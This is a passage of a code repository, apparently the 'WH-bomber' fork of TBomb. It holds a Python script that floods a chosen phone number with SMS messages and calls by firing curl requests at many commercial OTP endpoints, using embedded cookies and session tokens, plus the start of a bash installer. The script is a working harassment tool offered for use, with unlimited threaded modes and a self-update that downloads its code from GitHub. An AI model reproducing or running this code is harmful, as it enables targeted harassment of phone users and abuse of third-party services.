ZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SmtZWFJoSWpwN0luUnZhMlZ1SWpvaWIzQXhiR0pyZEcxbGRYSTBNWEJyTlRGNWNqQjBkbUZsSWl3aVlYVjBhQ0k2SW1WNVNqQmxXRUZwVDJsS1MxWXhVV2xNUTBwb1lrZGphVTlwU2tsVmVra3hUbWxLT1M1bGVVcDFXVmN4YkdGWFVXbFBhVWt3VGtSbmFVeERTbmRqYld4MFdWaEtOVm96U25aa1dFSjZZVmRSYVU5cFNUVlBSMUY0VDBkUk5FMXBNV2xaVkZVMVRGUlJOVTVVWTNSUFYwMDFUV2t3ZWxwcVp6Vk5ha0V6V1ZSTk1GcHFXV2xNUTBwd1l6Tk5hVTlwU205a1NGSjNUMms0ZG1RelpETk1iVEZvWTI1U2NWbFhUbkpNYlU1MllsTTVhMXBZV214aVJ6bDNXbGhLYUdOSGEybE1RMHBvWkZkUmFVOXBTbTlrU0ZKM1QyazRkbVF6WkROTWJURm9ZMjVTY1ZsWFRuSk1iVTUyWWxNNWExcFlXbXhpUnpsM1dsaEthR05IYTJsTVEwcHNaVWhCYVU5cVJURk9WR3MxVG5wak1VMUVVWE5KYlRWcFdtbEpOazFVVlRGUFZHc3pUWHByZDA1SU1DNVRaM1p4UmxOZldtTTNaSE5pTVdSNGJWVkdkSEExYW5WMk9FNTVWekIyZDE5TVRuTkJNbWhGVkV0eklpd2lkWEJrWVhSbFpDSTZNVFUxT1RrM016a3dORFUxTnl3aWRYTmxja2xrSWpvaU1EQXdNREF3TURBdE1EQXdNQzB3TURBd0xUQXdNREF0TURBd01EQXdNREF3TURBd0lpd2laMlZ1WlhKaGRHVmtJam94TlRVNU9UY3pPVEEwTlRVM2ZTd2lhV0YwSWpveE5UVTVPVGN6T1RBMExDSmxlSEFpT2pFMU5qQTRNemM1TURSOS5CMGR1NFlEQVptTGNUM0ZHM0RpSnQxN3RzRGlJaVZkUFl4ZHIyVzltenk4" -H "x-source-origin:PWAFW" -H "content-type:application/json" -H "accept:application/json, text/plain, */*" -H "user-agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "save-data:on" -H "languagecode:en" -H "referer:https://m.pizzahut.co.in/login" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "cookie:_fbp=fb.2.1559973905081.1516144968" -H "cookie:_gat_UA-37858192-4=1" -H "cookie:_ga-ss=1|UA-37858192-4|https%3A%2F%2Fwww.google.com%2F" -H "cookie:_gid=GA1.3.1666290082.1559973902" -H "cookie:_ga=GA1.3.1893416092.1559973902" -H "cookie:run_fullstory_for_user=full_story_fail" -H "cookie:_gcl_au=1.1.2020385110.1559973902" -H "cookie:AKA_A2=A" -d \'{"customer":{"MobileNo":"' + pn + '","UserName":"' + pn + '","merchantId":"98d18d82-ba59-4957-9c92-3f89207a34f6"}}\' "https://m.pizzahut.co.in/api/cart/send-otp?langCode=en" > /dev/null 2>&1') 342 | return True 343 | elif lim == 11: 344 | os.system('curl -s -X POST -H "host:www.goibibo.com" -H "user-agent:Mozilla/5.0 (Windows NT 8.0; Win32; x32; rv:58.0) Gecko/20100101 Firefox/57.0" -H "accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" -H "accept-language:en-US,en;q=0.5" -H "accept-encoding:gzip, deflate, br" -H "referer:https://www.goibibo.com/mobile/?sms=success" -H "content-type:application/x-www-form-urlencoded" -H "content-length:14" -H "connection:keep-alive" -H "upgrade-insecure-requests:1" -d "mbl=' + pn + '" "https://www.goibibo.com/common/downloadsms/" > /dev/null 2>&1') 345 | return True 346 | elif lim == 12: 347 | os.popen('rm temp.xxx1 > /dev/null 2>&1') 348 | os.system( 349 | 'curl -s -X POST -H "Host:www.apollopharmacy.in" -H "content-length:17" -H "accept:*/*" -H "origin:https://www.apollopharmacy.in" -H "x-requested-with:XMLHttpRequest" -H "save-data:on" -H "user-agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "content-type:application/x-www-form-urlencoded; charset=UTF-8" -H "referer:https://www.apollopharmacy.in/sociallogin/mobile/login/" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "cookie:__cfduid=d64c65a2edad54086382759cdf599de901558686615" -H "cookie:_ga=GA1.2.1278908803.1558686621" -H "cookie:__ta_device=fAz8eA9Rx40yyIiB5mzvHt4apFaSkMBA" -H "cookie:_fbp=fb.1.1558686627127.655454618" -H "cookie:__stat="BLOCK"" -H "cookie:jv_visits_count_EXRKNIzFkV=1" -H "cookie:__stp={"visit":"returning","uuid":"d9a1c39d-efbd-4911-ac0e-6333455f9fbb"}" -H "cookie:PHPSESSID=vnj2hvk8nga4v1m2hvlmvl88r4" -H "cookie:_gid=GA1.2.132668726.1560239715" -H "cookie:_gat=1" -H "cookie:__ta_visit=f5uvpYKu8EVmJAJmFGXMmXGSTiNQSWRS" -H "cookie:_gat_UA-31142855-1=1" -H "cookie:__ta_ping=1" -H "cookie:mage-cache-storage=%7B%7D" -H "cookie:mage-cache-storage-section-invalidation=%7B%7D" -H "cookie:mage-cache-sessid=true" -H "cookie:mage-messages=" -H "cookie:private_content_version=46e6c8611a9b0d06e662da50ca5cf311" -H "cookie:AWSALB=2177QHjXXrFgaem1w0FrBqZ2aoKrMhI+DibolJaee9cVOP4ZSV2LiLC3tks68ud4ERCydxa8kb4klbiI+VEnNQB0rsyins1USgvHcPOUoz2nySN3SC5G/wpAACIq" -H "cookie:section_data_ids=%7B%22cart%22%3A1560239751%7D" -d \'mobile=' + pn + '\' "https://www.apollopharmacy.in/sociallogin/mobile/sendotp/" --output temp.xxx1') 350 | while not os.path.exists('temp.xxx1'): 351 | time.sleep(0.1) 352 | rd = str(open('temp.xxx1', 'rb').read()) + " " 353 | return rd.find("sent") != -1 354 | elif lim == 13: 355 | rd = ' ' 356 | try: 357 | rd = os.popen( 358 | ' curl -s -X POST -H "Host:www.ajio.com" -H "Connection:keep-alive" -H "Content-Length:144" -H "Accept:application/json" -H "Origin:https://www.ajio.com" -H "User-Agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "content-type:application/json" -H "Referer:https://www.ajio.com/signup" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "Cookie:_ga=GA1.2.979928319.1560364071; _gid=GA1.2.666270216.1560364071; V=201; _fbp=fb.1.1560364076913.1528349725; cto_lwid=d91bea3a-7610-45aa-8f78-65a0d740fb46; PushSubscriberStatus=DENIED; peclosed=true; G_ENABLED_IDPS=google; TS018cc593=01ef61aed0fca110f50d8e3be2c66eb83188f6df8495c0ed2cd772829370fc12690954aad0834f545b57764467dbb66efb05d481a8958aebb273751956ef9eb383a3ba22dd1c94d82021e9d4c40011d4ab9bd97c6f0a74628ac12e8f7bcb663c1608e7288ebd252051cb84def3b021d3bcf643d3f3728ca9c0d9c780d171578ba966774f11ac44864a7f3da59791cb55f2741f23d72f7843efe9306459c00ec2e5f00065729a8573baba42384bb7cf46eb55cf89f72f1dcd5619a26e4ff32c63d06cac8c4bb158da6640bc0b11193134cbf38050ae0db230aa258b1181749fb0373afe041ad1aeffd0c08be7a62010db02cc65edfb1341d2de54cdf475c5dcd84e16c64c50; _gac_UA-68002030-1=1.1560366197.Cj0KCQjwxYLoBRCxARIsAEf16-tx5UXrrP9SEhR8dPkTL4a9woEF7Ae-kvSlzKdgq35y31DeK3_uhg8aAkRBEALw_wcB; cdigiMrkt=utm_source%3A%7Cutm_medium%3A%7Cdevice%3Amobile%7Cexpires%3AFri%2C%2012%20Jul%202019%2019%3A03%3A17%20GMT%7C; ImpressionCookie=4; ip=10.1.10.1; sessionStatus=true|undefined; FirstPage=Thu Jun 13 2019 00:33:53 GMT+0530 (India Standard Time); _dc_gtm_UA-68002030-1=1; uI=johnyaho%40gmail.com; TS01fe4249=01ef61aed09c32c6a53ce9e431a6a719c416867f2f3ad713fde2e74175bc248acc7a523f41e9751d032859a159bfff87664b90c3d0a9dfb2392f75876ccbe273b8a8e81d7a8d25047453c17a2905eca7eff26b780c" -d \'{"firstName":"Rox","login":"johnyaho@gmail.com","password":"Rock@5star","genderType":"Male","mobileNumber":"' + pn + '","requestType":"SENDOTP"}\' "https://www.ajio.com/api/auth/signupSendOTP" ').read() 359 | except Exception: 360 | return True 361 | if rd.find("\"statusCode\":\"1\"") != -1: 362 | return True 363 | else: 364 | return False 365 | elif lim == 14: 366 | con = '{"country_code":"' + cc + '","phone_number":"' + pn + '"}' 367 | os.popen('rm temp.xxx2 > /dev/null 2>&1') 368 | os.system('curl -s -X POST -H "Host:api.cloud.altbalaji.com" -H "Connection:keep-alive" -H "Content-Length:' + str(len(con)) + 369 | '" -H "Accept:application/json, text/plain, */*" -H "Origin:https://lite.altbalaji.com" -H "Save-Data:on" -H "User-Agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.89 Mobile Safari/537.36" -H "Content-Type:application/json;charset=UTF-8" -H "Referer:https://lite.altbalaji.com/subscribe?progress=input" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -d \'' + con + '\' "https://api.cloud.altbalaji.com/accounts/mobile/verify?domain=IN" -o temp.xxx2') 370 | while not os.path.exists('temp.xxx2'): 371 | time.sleep(0.1) 372 | rd = hashlib.md5(open('temp.xxx2', 'rb').read()).hexdigest() 373 | return rd == '24f467b24087ff48c96321786d89c69f' 374 | elif lim == 15: 375 | rd = os.popen('curl -s -X POST -H "Host:www.aala.com" -H "Connection:keep-alive" -H "Accept:application/json, text/javascript, */*; q=0.01" -H "Origin:https://www.aala.com" -H "X-Requested-With:XMLHttpRequest" -H "Save-Data:on" -H "User-Agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.101 Mobile Safari/537.36" -H "Content-Type:application/x-www-form-urlencoded; charset=UTF-8" -H "Referer:https://www.aala.com/" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6,ar;q=0.5" -H "Cookie:frontend=a27mn3h3irt1rlt6i55s93p9r5; frontend_cid=8zqBBzwQTMIt9UKg; _BEAMER_USER_ID_gADrycBn12870=c9fe4f7d-b421-4bad-9cf2-0a4db716dff4; G_ENABLED_IDPS=google" -d \'email=' + cc + pn + '&firstname=SpeedX&lastname=SpeedX\' "https://www.aala.com/accustomer/ajax/getOTP"').read().strip() 376 | return rd.find('code:') != -1 377 | elif lim == 16: 378 | os.popen('curl -s -X POST -d \'method=SMS&countryCode=id&phoneNumber=' + cc + pn + 379 | '&templateID=pax_android_production\' "https://api.grab.com/grabid/v1/phone/otp"') 380 | return True 381 | elif lim == 100: 382 | rd = os.popen('curl -s -X GET "https://www.makaan.com/apis/nc/sendOtpOnCall/16257065/' + 383 | pn + '?callType=otpOnCall"').read() 384 | return rd.lower().find("new otp has been") != -1 385 | elif lim == 101: 386 | rd = os.popen('curl -s -X POST -d mobile=%2B' + cc + '-' + pn + 387 | ' https://marketing.tllms.com/elearn/api/v4/authentications/phone_call').read() 388 | return rd.lower().find("otp requests exceeded") == -1 389 | elif lim == 102: 390 | rd = os.popen('curl -s -X POST -H "Host:www.realestateindia.com" -H "content-length:58" -H "accept:text/html, */*; q=0.01" -H "origin:https://www.realestateindia.com" -H "x-requested-with:XMLHttpRequest" -H "save-data:on" -H "user-agent:Mozilla/5.0 (Linux; Android 8.1.0; vivo 1718) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "content-type:application/x-www-form-urlencoded; charset=UTF-8" -H "referer:https://www.realestateindia.com/thanks.php?newreg" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" -H "cookie:_gat=1" -H "cookie:rei_mem_mobile_verify_status=0" -H "cookie:rei_mem_email_verify_status=N" -H "cookie:rei_mem_block_status=0" -H "cookie:rei_member_country=IN" -H "cookie:rei_paid_status=0" -H "cookie:rei_member_type=1" -H "cookie:rei_member_email=Fakemam%40ril.com" -H "cookie:rei_member_name=Fakeman" -H "cookie:rei_member_id=1547045" -H "cookie:cooki_sess_id=9q8bsucj6mgvu2dc03bfsvlf07" -H "cookie:name=9q8bsucj6mgvu2dc03bfsvlf07" -H "cookie:_gid=GA1.2.626525909.1560836369" -H "cookie:_ga=GA1.2.1033079331.1560836369" -H "cookie:visitedToken=176961560836367" -d \'action_id=call_to_otp&mob_num=' + pn + '&member_id=1547045\' "https://www.realestateindia.com/mobile-script/indian_mobile_verification_form.php?sid=0.5983221395805354"').read() 391 | return rd.lower().find("y") != -1 392 | elif lim == 103: 393 | os.system( 394 | 'curl -s -X POST -H "Host:www.olx.in" -H "content-length:44" -H "accept:*/*" -H "x-newrelic-id:VQMGU1ZVDxABU1lbBgMDUlI=" -H "origin:https://www.olx.in" -H "user-agent:Mozilla/5.0 (Linux; Android 5.0.2; SH-04G) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36" -H "content-type:application/json" -H "referer:https://www.olx.in/" -H "accept-encoding:gzip, deflate, br" -H "accept-language:en-US,en;q=0.9" -H "cookie:onap=16b1b8f48d4x746d47ab-1-16b1b8f48d4x746d47ab-19-1559537345" -H "cookie:bm_sv=CDB97F50DA6615AC420F3E6E77B04E42~OoX2fAuP7ggcNa0VjzE95FzJNKRdJlW09Hja0/cysIGF1sJoBO7i0ndGXqnTWLaunlyxktHLbE8BSstPCRYn8VdP15lvUxK3ZY9ahXOSgwAidxwXd1jCe5wjIzYbiXp5eKNWfFpowhFbpxloe+SrbiE0YHJVPcCV5bmdsHgPfQc=" -H "cookie:AMP_TOKEN=%24NOT_FOUND" -H "cookie:hint=true" -H "cookie:_gid=GA1.2.369819276.1559535517" -H "cookie:_ga=GA1.2.665688753.1559535517" -H "cookie:ldTd=true" -H "cookie:G_ENABLED_IDPS=google" -H "cookie:HIDE_ONBOARDING_LOCATION=true" -H "cookie:testCookie=testCookie" -H "cookie:ak_bmsc=307C5311FB00A3F4E856AFFE1A9D000B0214BED9E0210000909FF45C1E802067~plFZfbMQGgEDr7OWVe9FvqfT24ZtOVMamtYcaip71IYOrv2+SQ6fokSvMk2Uesz5v1sFfaichbtDgeVSj3te3vXJKezSWgvoVWrK7gfzFrLz1ruBm0MQj01V5CmpaTr6tRgDRSN6bks3nqvOHzR0tA1IoqfDfq2MKtmDjbknCI5FlLYUTwqlnwHowYArfybn2n3yilE6VKHjW+tH8kqjAfH8BGuijpmO9pNkgmIyOeaZIVM3k6FGOL3Wj3jLI8uGaU" -H "cookie:_abck=153BD3D333948A58932748CAC3D4C3F40214BED9E0210000909FF45C18838E05~0~8O+udxdG38sBFTPZpaBL4IGj7eUcKJ1VwAtJ52GMO5E=~-1~-1" -H "cookie:bm_sz=BD665D919F7C6FA8374F196445596436~YAAQ2b4UArpOAwtrAQAAq0qPGwNksHBgphLwDzwfBlwIRQJAG7txmjBo/of7NiAJ93gy/7vBhQ9l5sIKdwtl2j+U4bys2Hhh5tZlZL/jqdnW/JrgmgawcxiunAJ32BbY9UtnFIrNxbbRvzQCYnSwf/cz9a7jURsui7leuLaVm7mQEcHPOtC6g5jrToAMTbdA" -H "cookie:97c09e2aabdfed89b87a3010d7f13c64=353b4f9fd82d26268ad11b2c1e9ae019" -H "cookie:lqstatus=1559536704" -H "cookie:laquesis=pan-26381@a#pan-27752@b#pan-30043@b#pana-26381@b" -d \'{"type":"call","descriptor":"+91' + pn + '"}\' "https://www.olx.in/api/challenges" >/dev/null 2>&1') 395 | return True 396 | elif lim == 104: 397 | rd = os.popen('curl -s -X GET -H "Host:api.magicbricks.com" -H "Connection:keep-alive" -H "User-Agent:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.89 Safari/537.36" -H "Save-Data:on" -H "Accept:image/webp,image/apng,image/*,*/*;q=0.8" -H "Accept-Encoding:gzip, deflate, br" -H "Accept-Language:en-IN,en;q=0.9,en-GB;q=0.8,en-US;q=0.7,hi;q=0.6" "https://api.magicbricks.com/bricks/verifyOnCall.html?mobile=' + pn + '"').read().decode('utf-8') 398 | return rd.lower().strip().find('callmade') != -1 399 | elif lim == 106: 400 | rd = os.popen( 401 | 'curl -s "https://www.myupchar.com/user_profile/resend_otp_via_voice?id=' + pn + '"').read() 402 | return rd.find("1") != -1 403 | return False 404 | 405 | 406 | def remsp(num): 407 | num = num.replace(' ', '') 408 | num = num.replace('-', '') 409 | return num 410 | 411 | 412 | def start(target, counter, delay, ch, cc): 413 | clr() 414 | banner() 415 | failed = 0 416 | requested = 0 417 | success = int(requested) - int(failed) 418 | bombs = int(counter) + 1 419 | while success < (int(bombs)): 420 | os.system('clear') 421 | banner() 422 | try: 423 | api = random.choice(ch) 424 | except Exception: 425 | if cc == "91": 426 | print('Sorry All APIs Have Expired Please Update WH-bomber') 427 | input('Press Enter To Exit...') 428 | exit() 429 | else: 430 | if success > 0: 431 | print( 432 | '\n\n\tWe Are Sorry To Say That Bombing Limit For Your Country Has Been Reached...') 433 | print( 434 | '\nWe Are Working Too Hard To Increase The International Limit...') 435 | input( 436 | '\nThis will help us to give support to your country fast...\n\nPress Enter To Exit...') 437 | os.system('rm *.xxx* > /dev/null 2>&1') 438 | print('\n\n') 439 | banner() 440 | exit() 441 | else: 442 | print('\n\n\tSorry Your Country is Not Supported...') 443 | print( 444 | '\t\tPlease Send A Mail To ggspeedx29@gmail.com To Let Us Know...') 445 | input('Press Enter To Exit...') 446 | exit() 447 | print(random.choice(colors)) 448 | print("==================================================================") 449 | print(" BOMBING in progress, please wait !! ") 450 | print(" Please keep your data connection active during bombing !! ") 451 | print("==================================================================") 452 | print(" Target Number : +" + str(cc) + " ", target) 453 | print(" Number of Requests Sent : ", requested) 454 | print(" Successful Requests : ", success) 455 | print(" Failed Requests : ", failed) 456 | print("==================================================================") 457 | print(" Use this for fun, not for revenge !! ") 458 | print("==================================================================") 459 | try: 460 | result = getapi(target, api, cc) 461 | except Exception: 462 | result = False 463 | requested = requested + 1 464 | if result: 465 | success = success + 1 466 | else: 467 | failed = failed + 1 468 | while ch.count(api) > 0: 469 | ch.remove(api) 470 | time.sleep(float(delay)) 471 | if requested % 3 == 0: 472 | checkinternet() 473 | print(W) 474 | print('\n\nBombing Completed..') 475 | os.system('rm *.xxx* > /dev/null 2>&1') 476 | banner() 477 | exit() 478 | 479 | 480 | def update(): 481 | stuff_to_update = ['bomber.py', '.version'] 482 | for fl in stuff_to_update: 483 | dat = urllib.request.urlopen( 484 | "https://raw.githubusercontent.com/TheSpeedX/TBomb/master/" + fl).read() 485 | file = open(fl, 'wb') 486 | file.write(dat) 487 | file.close() 488 | print('\n\t\tUpdated Successfull !!!!') 489 | print('\tPlease Run The Script Again...') 490 | exit() 491 | 492 | 493 | clr() 494 | banner() 495 | try: 496 | urllib.request.urlopen('https://www.google.com') 497 | except Exception: 498 | print("You are not connected To Internet!!!") 499 | print("\tPlease Connect To Internet To Continue...\n") 500 | input('Exiting....\n Press Enter To Continue....') 501 | exit() 502 | print('\tChecking For Updates...') 503 | ver = urllib.request.urlopen( 504 | "https://raw.githubusercontent.com/TheSpeedX/TBomb/master/.version").read().decode('utf-8') 505 | verl = '' 506 | try: 507 | verl = open(".version", 'r').read() 508 | except Exception: 509 | pass 510 | if ver != verl: 511 | print('\n\t\tAn Update is Available....') 512 | print('\tStarting Update...') 513 | update() 514 | print("Your Version is Up-To-Date") 515 | print('\n\n\t\t\tStarting Bomber...\n\n') 516 | try: 517 | noti = urllib.request.urlopen( 518 | "https://raw.githubusercontent.com/wh-hackerexploit/WH-boomber/master/.whnotefy").read().decode('utf-8') 519 | noti = noti.upper().strip() 520 | if len(noti) > 10: 521 | print('\n\n\tNOTIFICATION: ' + noti + '\n\n') 522 | 523 | except Exception: 524 | 525 | pass 526 | 527 | while True: 528 | pn = "" 529 | cc = input("\tEnter Your Country Code (Without +) : ") 530 | if '+' in cc: 531 | tc = list(cc) 532 | tc.remove('+') 533 | cc = ''.join(tc) 534 | cc = cc.strip() 535 | pn = input("\tEnter Target Number: +" + cc + " ") 536 | pn = remsp(pn) 537 | if len(cc) >= 4 or len(cc) < 1: 538 | print('\n\nInvalid Country Code..\n\t\tCountry Codes Are Generally 1-3 digits...\n') 539 | continue 540 | if len(pn) <= 6: 541 | print('\n\nInvalid Phone Number..\n') 542 | continue 543 | for cch in str(cc + pn): 544 | if not cch.isdigit(): 545 | print('\n\nPhone Number Must Consist Of Numbers Only\n') 546 | continue 547 | break 548 | type = 0 549 | try: 550 | if sys.argv[1] == "call": 551 | type = 1 552 | except Exception: 553 | type = 0 554 | if type == 1: 555 | nm = int(input("Enter Number of Calls To Send(Maximum 15): ")) 556 | if nm > 15: 557 | print("\t\tYou Have Entered " + str(nm) + 558 | ".\n\tNormalizing Value To 15") 559 | nm = 15 560 | dl = float(input("Enter Delay time (in seconds) [Recommended 10 sec ] : ")) 561 | elif type == 0: 562 | if cc == "91": 563 | nm = int(input("Enter Number of Messages To Send(0 For Unlimited): ")) 564 | dl = float( 565 | input("Enter Delay time (in seconds) [Recommended 2 sec ] : ")) 566 | else: 567 | nm = int(input("Enter Number of Messages To Send: ")) 568 | dl = float( 569 | input("Enter Delay time (in seconds) [Recommended 10 sec ] : ")) 570 | maxlim = 0 571 | if cc == "91": 572 | maxlim = 500 573 | else: 574 | maxlim = 100 575 | if nm > maxlim: 576 | print('\n\n\tSorry Due To Misuse Of This Script We Only Provide ' + 577 | str(maxlim) + ' SMS At Once...\n\n') 578 | print('Number Of SMS Has been Set To ' + str(maxlim)) 579 | nm = maxlim 580 | if not cc.strip() == "91": 581 | if type == 1: 582 | print( 583 | '\t\tSorry But Call Bombing is Currently Supported Only For Indian Numbers!!!!') 584 | print() 585 | input('Press Enter To Exit....') 586 | print('\n\n') 587 | banner() 588 | exit() 589 | cnt = 0 590 | if pn.strip() == '' or dl <= 0 or nm <= 0 or cc.strip() == '' or cc.find('+') != -1: 591 | print('\n\n\tSeems Like You Have Given Wrong Inputs...') 592 | input('\n\t\tPress Enter To Exit...') 593 | banner() 594 | exit() 595 | ch = [0, 14, 15, 16] 596 | start(pn, nm, dl, ch, str(cc)) 597 | exit() 598 | ch = [i for i in range(17)] 599 | cbomb = False 600 | if pn.strip() == '' or dl <= 0 or nm < 0: 601 | print('\n\n\tSeems Like You Have Given Wrong Inputs...') 602 | input('\n\t\tPress Enter To Exit...') 603 | banner() 604 | exit() 605 | if type == 1: 606 | print("NOTE: Call Bomb Might Not Work on DND Activated Numbers...\n") 607 | print("\n\tPlease Don't Overload Call Bomb So That Is Would Work For Longer Period Of Time...") 608 | cbomb = True 609 | if cbomb: 610 | chl = [100, 101, 102, 103, 104, 105, 106] 611 | start(pn, nm, dl, chl, str(cc)) 612 | exit() 613 | if nm == 0: 614 | nt = int(input("\tNumber Of Threads(10 to 20) : ")) 615 | if nt <= 0 or nt >= 30: 616 | print('\tTBomb Shows Better Result in 10 to 25 Threads\n\t\tStill Continuing....') 617 | print("\n\nPlease Remember That This Is in Experimental Stage And Is Incredibly Fast...") 618 | t = [None] * nt 619 | print(random.choice(colors)) 620 | print("\n\n==================================================================") 621 | print(" Gearing Up Bomber, please wait !! ") 622 | print(" Please keep your data connection active during bombing !! ") 623 | print("==================================================================") 624 | print(" Target Number : +91", pn) 625 | print(" Number of Threads : ", nt) 626 | print(" Delay : ", dl) 627 | print("==================================================================") 628 | print(" Use this for fun, not for revenge !! ") 629 | print("==================================================================") 630 | print(W) 631 | input('\n\nPress CTRL+Z To STOP Bomber... \nPress Enter To Start Bomber...\n') 632 | os.system('rm *.xxx* > /dev/null 2>&1') 633 | print("\n\nStarting Bomb....") 634 | for i in range(nt): 635 | t[i] = threading.Thread(target=infinite, args=(pn, dl, ch, maxlim,)) 636 | t[i].daemon = True 637 | t[i].start() 638 | time.sleep(2) 639 | ci = 0 640 | while True: 641 | ci += 1 642 | l = count_inf 643 | print(" Total Number of Requests Sent : ", l) 644 | if int(l) > maxlim: 645 | print('\n\n\tSorry Due To Misuse Of This Script We Only Provide ' + 646 | str(maxlim) + ' SMS At Once...\n\n') 647 | input('Press Enter To Exit...') 648 | os.system('rm *xxx* > /dev/null 2>&1') 649 | banner() 650 | exit() 651 | time.sleep(1) 652 | if ci % 3 == 0: 653 | checkinternet() 654 | else: 655 | start(pn, nm, dl, ch, '91') 656 | exit() 657 | -------------------------------------------------------------------------------- /usr-bin/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | LPARTH=`pwd` 3 | RED=$'\e[1;31m' 4 | GREEN=$'\e[1;32m' 5 | YELLOW=$'\e[1;33m' 6 | BLUE=$'\e[1;34m' 7 | RESTORE=$'\e[0m' 8 | 9 | echo "${GREEN} WELCOME TO The ${RESTORE}" 10 | echo "${RESTORE}" 11 | echo "${YELLOW}" 12 | 13 | echo " █ █░ ██░ ██ " 14 | echo "▓█░ █ ░█░▓██░ ██▒" 15 | echo "▒█░ █ ░█ ▒██▀▀██░" 16 | echo "░█░ █ ░█ ░▓█ ░██ " 17 | echo "░░██▒██▓ ░▓█▒░██▓" 18 | echo "░ ▓░▒ ▒ ▒ ░░▒░▒" 19 | echo " ▒ ░ ░ ▒ ░▒░ ░" 20 | echo " ░ ░ ░ ░░ ░" 21 | echo " ░ ░ ░ ░" 22 | echo " " 23 | echo " " 24 | echo " ██╗ ██╗ █████╗ ██████╗██╗ ██╗███████╗██████╗ ███████╗██╗ ██╗██████╗ ██╗ ██████╗ ██╗████████╗" 25 | echo " ██║ ██║██╔══██╗██╔════╝██║ ██╔╝██╔════╝██╔══██╗ ██╔════╝╚██╗██╔╝██╔══██╗██║ ██╔═══██╗██║╚══██╔══╝" 26 | echo " ███████║███████║██║ █████╔╝ █████╗ ██████╔╝ █████╗ ╚███╔╝ ██████╔╝██║ ██║ ██║██║ ██║ " 27 | echo " ██╔══██║██╔══██║██║ ██╔═██╗ ██╔══╝ ██╔══██╗ ██╔══╝ ██╔██╗ ██╔═══╝ ██║ ██║ ██║██║ ██║ " 28 | echo " ██║ ██║██║ ██║╚██████╗██║ ██╗███████╗██║ ██║ ███████╗██╔╝ ██╗██║ ███████╗╚██████╔╝██║ ██║ " 29 | echo " ╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝ " 30 | echo " " 31 | #egrep -i ver toolinfo; 32 | 33 | echo "${RESTORE}" 34 | echo "${RED}==============================================================================================================" 35 | echo "${RESTORE}" 36 | echo "${BLUE}" 37 | echo "LEGAL DISCLAIMER >>" 38 | echo "${RED}" 39 | echo "Usage of WH-HackerExploit Hacking Tool for attacking targets without prior mutual " 40 | echo "consent is illegal. It's the end user's responsibility to obey all applicable local," 41 | echo "state and federal laws. Developers assume no liability and are not responsible" 42 | echo "for any misuse or damage caused by this program. Only use for educational purposes." 43 | echo "" 44 | echo "${RED}==============================================================================================================" 45 | echo "${RESTORE}" 46 | echo "${RESTORE}" 47 | 48 | sleep 1.5; 49 | 50 | echo "${YELLOW}" 51 | echo "[*] Checking For Internet Connection >>>>>>>" 52 | echo "" 53 | function checkinternet() 54 | { 55 | ping -c 1 google.com > /dev/null 2>&1 56 | if [[ "$?" != 0 ]] 57 | then 58 | echo -e "[*] Warning >Internet Connection:${RED} FAILED ${YELLOW}" 59 | echo 60 | echo -e "[*] This framework Needs An Active Internet Connection" 61 | echo 62 | echo -e "[*] HackerExploit >> Exit :( " 63 | echo && sleep 2 64 | exit 65 | else 66 | echo -e "[*] Internet Status : ${GREEN} CONNECTED" 67 | fi 68 | } 69 | checkinternet 70 | 71 | 72 | apc=`which python` 73 | if [ "$?" != "0" ]; then 74 | FaIl="YES" 75 | echo ${BLUE}[x]${RED} python installation '->' not found!${RESTORE}; 76 | sleep 1 77 | echo ${BLUE}[↻]${YELLOW} This script requires python to work!${Resetr1}; 78 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 79 | echo "" 80 | sudo apt-get install python 81 | echo "" 82 | else 83 | echo ${BLUE}[✓]${YELLOW}" python installation : ${GREEN}found!"${RESTORE}; 84 | sleep 1 85 | fi 86 | 87 | 88 | 89 | apc=`which python3` 90 | if [ "$?" != "0" ]; then 91 | FaIl="YES" 92 | echo ${BLUE}[x]${RED} python3 installation '->' not found!${RESTORE}; 93 | sleep 1 94 | echo ${BLUE}[↻]${YELLOW} This script requires python3 to work!${Resetr1}; 95 | echo ${YellowFy1}[☆] Please wait: installing missing dependencies ..${Resetr1}; 96 | echo "" 97 | sudo apt-get install python3 98 | echo "" 99 | else 100 | echo ${BLUE}[✓]${YELLOW}" python3 installation : ${GREEN}found!"${RESTORE}; 101 | sleep 1 102 | fi 103 | 104 | 